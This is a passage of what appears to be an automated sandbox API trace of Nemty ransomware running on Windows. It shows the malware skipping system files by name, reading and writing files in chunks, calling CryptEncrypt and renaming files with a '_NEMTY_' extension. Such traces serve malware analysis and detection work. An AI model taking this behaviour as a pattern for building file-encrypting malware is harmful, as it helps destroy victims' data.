hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0138.183] CloseHandle (hObject=0xffffffff) returned 0 [0138.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0138.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0138.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0138.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0138.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0138.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0138.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0138.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_over.png._nemty_kgobjgd_")) returned 0 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0138.184] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ac634d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2=".") returned 1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="..") returned 1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="...") returned 1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="windows") returned -1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="$RECYCLE.BIN") returned 1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="rsa") returned -1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="NTDETECT.COM") returned -1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="ntldr") returned -1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="MSDOS.SYS") returned -1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="IO.SYS") returned -1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="boot.ini") returned 1 [0138.184] lstrcmpiW (lpString1="hint_up.png", lpString2="boot.ini") returned 1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="AUTOEXEC.BAT") returned 1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="ntuser.dat") returned -1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="desktop.ini") returned 1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="CONFIG.SYS") returned 1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="RECYCLER") returned -1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="BOOTSECT.BAK") returned 1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="bootmgr") returned 1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="programdata") returned -1 [0138.185] lstrcmpiW (lpString1="hint_up.png", lpString2="appdata") returned 1 [0138.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_up.png", lpUsedDefaultChar=0x0) returned 11 [0138.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_up.png", lpUsedDefaultChar=0x0) returned 11 [0138.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0138.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_up.png", lpUsedDefaultChar=0x0) returned 11 [0138.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_up.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_up.png", lpUsedDefaultChar=0x0) returned 11 [0138.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0138.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0138.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0138.185] Sleep (dwMilliseconds=0x5) [0138.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x60e7f50, dwHighDateTime=0x1d561e8)) [0138.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x60e7f50, dwHighDateTime=0x1d561e8)) [0138.261] GetLastError () returned 0x5 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.261] GetLastError () returned 0x5 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0138.261] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0138.261] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0138.261] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0138.261] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="YDbAeYf+9ZG1kvtL0xA9nzUU5F4J0tXHUrEa4EHcdeG//4HRx86Qt/ICkQB+lont\r\nL3XaJJRnkFlbvMqhSlImUV9Jlf5pi3wB7+faj08nJDQi6cIuZf5orASe7PtLjco2\r\nAlkyOKIM2CD9yUvsthbfI2xA8L9BQaI4TPHZBDbMZ8ejVSFRIdHRsZdbHLU6aHnM\r\nsOUZwU1ogAu9u3uDbz5DwI4Lna5F+HOTjjkKCSQRtrVrzLs5r+YqI2bfaAbiLwD1\r\nYIOeBAx5opiI48GWJAl7z0ArGpcBrqY/NHV+xe6+u3m3sDlIzk1AIRCs+Zng+MyK\r\nV7h9c87QSbd9k395Ywwbyw==\r\n", pcchString=0x653e91c) returned 1 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0138.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0138.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0138.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0138.261] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0138.294] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0138.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0138.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 